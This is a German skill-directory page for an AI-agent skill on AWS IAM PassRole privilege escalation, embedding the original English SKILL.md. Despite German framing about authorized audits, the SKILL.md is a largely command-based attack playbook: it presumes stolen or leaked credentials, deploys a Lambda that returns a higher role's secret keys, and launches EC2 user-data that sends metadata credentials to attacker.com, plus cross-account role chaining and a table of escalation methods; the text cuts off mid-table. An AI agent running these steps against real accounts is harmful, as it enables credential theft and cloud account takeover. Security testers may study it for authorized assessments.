Zum Inhalt springen
Skillpedia
Sicherheit6.5k · #13985

aws-iam-passrole-chain

Was er macht

Diese Fähigkeit beschreibt, wie PassRole-Rechte und Rollenübernahmen in AWS zu höherem Zugriff führen können. Sie richtet sich an Cloud-Prüfer und Administratoren, die IAM-Einstellungen in ihren Konten prüfen.

Wann du ihn nutzt

  • ✓Wenn ein Prüfer den Agenten fragt, welche Benutzer einem Dienst wie Lambda oder EC2 eine stärkere Rolle übergeben dürfen.
  • ✓Wenn der Agent Vertrauensrichtlinien von Rollen prüft, die das Übernehmen von Rollen über Konten hinweg erlauben.
  • ✓Wenn ein Bericht erklären muss, wie eine PassRole-Freigabe Zugriff über das Erlaubte hinaus ermöglichen könnte.

Link zum Skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md

Kopiere ihn und füge ihn in deine KI ein (Claude, ChatGPT oder Cursor) mit der Bitte, den Anweisungen zu folgen.

So nutzt du ihn

Am einfachsten: Kopiere die Nachricht und füge sie in deine KI ein. Sie liest den Skill und folgt den Anweisungen.

Fertige Nachricht zum Einfügen

Nutze diesen Skill, um mir zu helfen: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md Lies die SKILL.md unter diesem Link und folge ihren Anweisungen für meine Aufgabe.
Soll deine KI Skills wie diesen selbst finden?Installiere den kostenlosen Skillpedia-MCP: eine Zeile, und sie durchsucht vor jeder Aufgabe 15.000+ Skills.In 1 Minute installieren →

Beispielanfrage an deine KI

“Kann einer unserer Test-Benutzer in unserem autorisierten AWS-Konto eine mächtige Rolle an Lambda oder EC2 übergeben?”

5 neue Skills pro Woche. 1 Minute Lesezeit.

So funktioniert es

Dein Agent liest die Richtlinien mit PassRole-Rechten, listet die Rollen auf, die sie übergeben können, und prüft, welche Dienste dann mit diesen Rollen laufen könnten.

Technischer Inhalt (originale SKILL.md)

Originaltext des Autors, auf Englisch, direkt von GitHub.

AWS IAM PassRole Chain

You have AWS credentials (env vars, ~/.aws/credentials, EC2 IMDS, ECS task role, leaked GitHub keys). Find the path to higher privilege via PassRole.

Enumerate

aws sts get-caller-identity                                  # who are you?
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-user-policies --user-name <you>
aws iam get-account-summary

# Or for a role (e.g., EC2 instance):
aws sts get-caller-identity                                  # check Arn = role
ROLE=$(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-attached-role-policies --role-name $ROLE
aws iam list-role-policies --role-name $ROLE

Use Pacu — enum_permissions — for the canonical enumeration.

Phase 1: Identify your PassRole targets

# What roles can your principal PassRole?
# Check policy for iam:PassRole — note the Resource:
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/<your-policy> --version-id v1 \
  | jq '.PolicyVersion.Document.Statement[] | select(.Action[]?=="iam:PassRole" or .Action=="iam:PassRole")'

# List all roles (need iam:ListRoles)
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output text

Phase 2: PassRole → execute as higher-priv role

Lambda — most common path

# Create a Lambda that runs as TARGET_ROLE and returns its credentials
cat > pwn.py <<'EOF'
def lambda_handler(event, context):
    import os
    return {
        "AKI": os.environ["AWS_ACCESS_KEY_ID"],
        "SAK": os.environ["AWS_SECRET_ACCESS_KEY"],
        "TOK": os.environ["AWS_SESSION_TOKEN"],
    }
EOF
zip pwn.zip pwn.py
aws lambda create-function --function-name pwn --runtime python3.11 \
  --role arn:aws:iam::ACCT:role/TARGET_ROLE --handler pwn.lambda_handler \
  --zip-file fileb://pwn.zip
aws lambda invoke --function-name pwn /tmp/o.json && cat /tmp/o.json
# /tmp/o.json now contains TARGET_ROLE credentials

Glue Dev Endpoint

aws glue create-dev-endpoint --endpoint-name pwn --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# SSH into it; whoami is TARGET_ROLE

EC2 Instance Profile

aws ec2 run-instances --image-id ami-0c55b159cbfafe1f0 --instance-type t2.micro \
  --iam-instance-profile Name=TARGET_PROFILE --user-data "$(printf '#!/bin/bash\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/TARGET_ROLE > /tmp/c.json && curl -X POST -d @/tmp/c.json https://attacker.com/x')"

SageMaker Notebook

aws sagemaker create-notebook-instance --notebook-instance-name pwn --instance-type ml.t2.medium \
  --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# Then open the notebook URL; in a cell: !aws sts get-caller-identity

Phase 3: AssumeRole chains across accounts

# If you have sts:AssumeRole on a cross-account role:
aws sts assume-role --role-arn arn:aws:iam::OTHER_ACCT:role/CROSSACCT_ROLE --role-session-name pwn
# Use the returned Credentials for the next hop.

# Chain depth — repeat assume-role with each new principal.

Phase 4: Privilege escalation classes (Pacu — iam__privesc_scan)

Method Required permission
CreateNewPolicyVersion iam:CreatePolicyVersion on a policy attached to a higher-priv user
SetExistingDefaultPolicyVersion iam:SetDefaultPolicyVersion
CreateAccessKey iam:CreateAccessKey on a higher-priv user
CreateLoginProfile iam:CreateLoginProfile — log in as the target user via console
UpdateLoginProfile iam:UpdateLoginProfile — reset the target user's console password
AttachUserPolicy iam:AttachUserPolicy — attach AdministratorAccess to yourself
AttachGroupPolicy iam:AttachGroupPolicy
AttachRolePolicy iam:AttachRolePolicy
PutUserPolicy iam:PutUserPolicy — inline policy bypass
AddUserToGroup iam:AddUserToGroup — add yourself to admins
UpdateAssumeRolePolicy iam:UpdateAssumeRolePolicy — make a role assumable by you
PassExistingRoleToNewLambda iam:PassRole + lambda:CreateFunction/InvokeFunction
PassExistingRoleToNewGlueDevEndpoint as above for Glue
EditExistingLambdaFunctionWithRole lambda:UpdateFunctionCode on an existing Lambda
PassExistingRoleToNewCloudFormation iam:PassRole + cloudformation:CreateStack
`PassExistingRoleToNewDataP
Häufige Fragen

Was ist iam:PassRole?

Eine Berechtigung, mit der ein Benutzer einem AWS-Dienst eine Rolle übergibt, sodass der Dienst mit deren Zugriff handelt.

Warum ist das ein Risiko?

Die Fähigkeit sagt, wer einem Dienst eine starke Rolle übergeben darf, kann indirekt den Zugriff dieser Rolle erlangen.

Geht es nur um Angriffe?

Nein. Die Fähigkeit ist für autorisierte Prüfungen gedacht. Ihr Hauptzweck ist, zu weit gefasste Freigaben zu finden und zu entfernen.

Details

Originalbeschreibung des Autors

AWS IAM privilege escalation via `iam:PassRole` chains — Lambda/Glue/Sagemaker/EC2/ECS PassRole to a higher-priv role, AssumeRole chains across accounts, sts:GetCallerIdentity recon, account hijack via legacy root-mfa-bypass.

repo: BitterSecurity/Decepticon

Beliebtheit

GitHub-Sterne
6.5k
Platz im Ranking
#13985
Lizenz
Apache-2.0
Aktualisiert
1.11.2026

Ist dieser Skill nützlich?

0

Anmelden um abzustimmen.

Kommentare

  • …

Weitere Skills aus diesem Repository

Ähnliche Skills